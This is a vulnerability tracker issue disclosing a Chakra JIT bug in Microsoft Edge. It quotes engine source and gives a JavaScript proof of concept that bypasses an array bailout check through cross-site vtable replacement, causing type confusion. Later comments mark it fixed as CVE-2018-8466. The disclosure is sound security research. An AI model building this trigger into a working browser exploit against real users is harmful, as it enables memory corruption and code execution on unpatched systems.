New issue
Advanced search Search tips

Issue 1612 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Sep 27
Cc:



Sign in to add a comment

Microsoft Edge: Chakra: JIT: BailOutOnInvalidatedArrayHeadSegment check bypass

Project Member Reported by lokihardt@google.com, Jul 4

Issue description

The BailOutOnInvalidatedArrayHeadSegment check uses the JavascriptArray::GetArrayForArrayOrObjectWithArray method to check whether the given object is an array. If it's not an array, it will decide to skip the check which means that no bailout will happen. The JavascriptArray::GetArrayForArrayOrObjectWithArray method determines it by comparing the vtable of the given object like the following.

        if(vtable == VirtualTableInfo<JavascriptArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_Array;
        }
        else if(vtable == VirtualTableInfo<JavascriptNativeIntArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_NativeIntArray;
        }
        else if(vtable == VirtualTableInfo<JavascriptNativeFloatArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_NativeFloatArray;
        }
        else
        {
            return nullptr;
        }

        if(!array)
        {
            array = FromVar(var);
        }
        return array;

Since wrapping an object with the CrossSite class replaces the vtable of the object, this can be used to bypass it.

PoC:
function opt(x_obj, arr) {
    arr[0] = 1.1;
    
    x_obj.a = arr;  // Replacing the vtable.
    arr['leng' + 'th'] = 0;  // The length changes, but the BailOutOnInvalidatedArrayHeadSegment check will think that it's not an array. So no bailout will happen.

    arr[0] = 2.3023e-320;
}

let x_obj = document.body.appendChild(document.createElement('iframe')).contentWindow.eval('({})');
let arr = [1.1, 1.1];

for (let i = 0; i < 10000; i++) {
    opt(x_obj, arr.concat());
}

opt(x_obj, arr);

arr[1] = {};  // in-place type conversion
alert(arr);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

 
Project Member

Comment 1 by lokihardt@google.com, Sep 27

Labels: CVE-2018-8466 MSRC-46433
Status: Fixed (was: New)
Project Member

Comment 2 by lokihardt@google.com, Oct 9

Labels: -Restrict-View-Commit

Sign in to add a comment